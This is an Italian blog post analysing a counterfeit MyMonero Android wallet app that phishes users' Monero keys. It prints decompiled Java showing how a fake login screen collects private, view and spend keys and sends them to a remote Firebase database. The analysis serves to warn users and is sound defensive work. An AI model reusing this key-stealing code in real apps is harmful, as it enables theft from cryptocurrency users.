Stavo navigando su Reddit tranquillamente in una giornata di sole. Ero occupato perché dovevo lavorare per molti progetti tra cui Mastering Monero. Ad un certo punto, ho notato un thread di un nuovo utente che chiedeva se ci fosse mai stata un’app MyMonero per Android.

Prima di tutto, MyMonero è un’azienda privata fondata da fluffypony che è il principale gestore della criptovaluta Monero. Al momento, questo servizio è gestito da Paul Shapiro che è lo sviluppatore ufficiale di iOS e CEO. MyMonero offre un portafoglio web gratuito e sicuro per tutti gli utenti. In esso, si ha il controllo totale delle chiavi. Infatti, utilizza metodi sicuri per accedere ai tuoi fondi senza mai inviare il tuo seme segreto al server di terze parti.

Per quanto riguarda il post su Reddit, l’utente ha chiesto se esiste un’app MyMonero per Android e poi ha pubblicato un URL. L’URL è collegato a un’app chiamata “My Monero - XMR” postata su Google Play store che sembra l’app ufficiale del portafoglio MyMonero. Ma non è così! Si tratta di un’app costruita per rubare le chiavi Monero degli utenti che di solito usano MyMonero tramite interfaccia web. In questo post, spiegherò come l’attaccante sconosciuto ha cercato di rubare le chiavi di MyMonero, quali tecniche ha usato per copiare e truffare gli utenti.

Cos’è il phishing?

Uno degli attacchi più irrecuperabili nell’ingegneria della sicurezza dell’informazione è il phishing. Il phishing è il tentativo fraudolento di ottenere informazioni sensibili come nomi utente, password e dettagli di carte di credito, travestendosi da entità affidabile. È uno dei ben noti attacchi di ingegneria sociale, preferito dagli hacker. Si potrebbe avere protezione utilizzando firewall, antivirus e si può anche costruire il dispositivo più sicuro. Ma non si può fare nulla per bloccare gli attacchi di social engineering.

L’applicazione falsa

L’applicazione segnalata dall’utente sembrava essere molto ufficiale. Il nome era “My Monero - XMR” e come icona aveva il logo Monero. Questa è stata una delle prime bandiere rosse. Al momento della scrittura, sappiamo che MyMonero ha già pubblicato la sua app su sistemi iOS.

MyMonero Fake Application on Google Play Store

Confrontiamo le due pagine. In primo luogo, possiamo notare che il logo e il nome sono completamente diversi. In secondo luogo, se cerchiamo gli screenshot possiamo osservare che quelli di iOS sono più professionali di quelli del Google Store.

MyMonero Application on Apple Store

E il supporto e-mail? Sappiamo che MyMonero è ospitato su mymonero.com e il sito ufficiale di Monero è getmonero.org . L’email di supporto della falsa app riportata su Google Play Store è “helpdesk@monero.com”. In primo luogo, monero.com è registrato ma non ha i record DNS MX (Mail exchange). L’account di posta elettronica non esiste per il momento. La pagina della falsa app sembra sospetta, quindi scelgo di analizzarla in modo approfondito.

Reverse Engineering dell’applicazione falsa

L’ingegneria inversa, chiamata anche back engineering, è il processo con cui un oggetto fatto dall’uomo viene decostruito per rivelare i suoi disegni, l’architettura, o per estrarre conoscenza dall’oggetto. Questo può essere applicato anche all’ingegneria del software per scoprire potenziali azioni sbagliate delle applicazioni.

Un’applicazione per Android di solito è sviluppata con il linguaggio di programmazione Java. Il pacchetto in Java è un meccanismo per incapsulare un gruppo di classi, sub-pacchetti e interfacce.

In questo caso, mi ha aiutato molto. Uno dei migliori strumenti per decompilare un’app Android è Apktool. Usarlo è davvero semplice, basta avere il file apk dell’app. Il pacchetto principale dell’app si chiama “market.transfer.secure.safe.mymonero”. Quindi nella cartella in cui l’app è stata decompilata, è necessario andare in sources\transfer\secure\safe\mymonero. Le classi contenute in questa cartella sono la base dell’app.

Alla prima nota, abbiamo bisogno di andare in profondità nel codice. Nella classe Launcher.java che è responsabile della prima azione dell’app, possiamo notare che l’app chiama due funzioni.

public void run() {
    Launcher.this.doWork();
    Launcher.this.startApp();
    Launcher.this.finish();
}

La prima chiamata doWork() è una funzione che ha lo scopo di “addormentare” il thread principale. In poche parole, non fa nulla all’applicazione. Gli utenti devono aspettare il completamento del ciclo.

private void doWork() {
        for (int i = 0; i < 100; i++) {
            Thread.sleep(20);
        }
    }

Il ciclo “for” fa aspettare gli utenti per 2 secondi. Poi entriamo nella seconda funzione che è più interessante. La seconda funzione chiama la funzione “startActivity” che chiama la classe Home.

startActivity(new Intent(this, Home.class));

Questa funzione chiama la classe “Login” che è la classe più interessante che ho trovato in questa applicazione. È abbastanza semplice: questo file è il gestore del “login”. Cosa fa? La classe crea innanzitutto una pagina di login molto simile (quasi identica) a quella di Mymonero. Poi aspetta l’input dell’utente e se le caselle di input sono riempite con le chiavi, registra tutto in un contenitore Firebase definito nell’AndroidManifest.xml . Analizziamo questo passo per passo.

La classe di login è abbastanza interessante. In primo luogo, l’applicazione crea gli elementi HTML per il pannello di login. Per esempio, in questo estratto l’applicazione rende i due pulsanti “Login with private key” e “Login with public key”.

Login.this.btnPublic.setBackgroundDrawable(ContextCompat.getDrawable(Login.this, C0325R.drawable.button_register));
Login.this.btnPrivate.setBackgroundDrawable(ContextCompat.getDrawable(Login.this, C0325R.drawable.button_login));
Login.this.btnPrivate.setTextColor(Color.parseColor("#5495E8"));
Login.this.btnPublic.setTextColor(Color.parseColor("#FFFFFF"));
MyMonero Options

Quando l’utente fa clic su uno dei pulsanti per inviare i dettagli di accesso, l’applicazione invierà questi dettagli a un contenitore di app Firebase. Ecco l’estratto di codice.

  1. L’app controlla se la casella di input “Private key” è riempita.
  2. L’app controlla se è stato possibile stabilire una connessione Internet. L’app non può inviare i dettagli se non c’è connessione.
  3. Ottenere le variabili private_key e language e incapsularle in una Hashmap
  4. Invia i dettagli al database di Firebase.
Login.this.validUtils;
if (ValidUtils.validateEditTexts(new EditText[]{Login.this.etPrivateKey}) == null) {
    Login.this.etPrivateKey.setError("Invalid private key");
    return;
}
Login.this.validUtils;
if (ValidUtils.isNetworkAvailable(Login.this) == null) {
    new AlertDialog.Builder(Login.this).setMessage((CharSequence) "No internet connection found please enable your internet connection").setTitle((CharSequence) "Warning").setIcon(Login.this.getResources().getDrawable(C0325R.drawable.ic_warning_black_24dp)).show();
    return;
}
Login.this.progressDialog.setTitle("Processing...");
Login.this.progressDialog.setMessage("Please wait");
Login.this.progressDialog.show();
view = Login.this.privateReference.push().getKey().toString();
// Get private_key input and language
HashMap hashMap = new HashMap();
hashMap.put("private_key", Login.this.etPrivateKey.getText().toString());
hashMap.put("language", Login.this.spLanguage.getSelectedItem().toString());
// Save details to remote Firebase database.
Login.this.privateReference.child(view).setValue(hashMap);
Login.this.startActivity(new Intent(Login.this, Dashboard.class));
Login.this.finish();
Login.this.progressDialog.dismiss();

Questo era lo stesso per l’altro pulsante “Accedi con le chiavi pubbliche”, solo con differenti parametri.

hashMap.put("address_key", Login.this.etAddress.getText().toString());
hashMap.put("view_key", Login.this.etViewKey.getText().toString());
hashMap.put("spend_key", Login.this.etSpendKey.getText().toString());

Il bucket Firebase era aperto

Il bucket di Firebase era aperto. Questo ha esposto più di 40 chiavi private e 20 indirizzi pubblici di potenziali utenti diversi, il che potrebbe sottovalutare il problema. Non esponete MAI le vostre chiavi! Non inviate il vostro seed a nessuno.

Dettagli dell’applicazione

Firebase url: [REDATTO] Installazioni: < 100 (secondo le statistiche di Google Play).

Conclusione: fermare questo attacco potrebbe essere difficile

Capire il phishing è sempre difficile. Nel complesso, è reale e pericoloso. Tutti devono fare attenzione perché succede a tutti; e farsi truffare può essere costoso. Quindi, fai attenzione, segui questo consiglio e tieni sempre gli occhi aperti su tutto ciò che suona anche lontanamente strano, perché potrebbe benissimo trattarsi di truffatori in cerca della loro prossima vittima.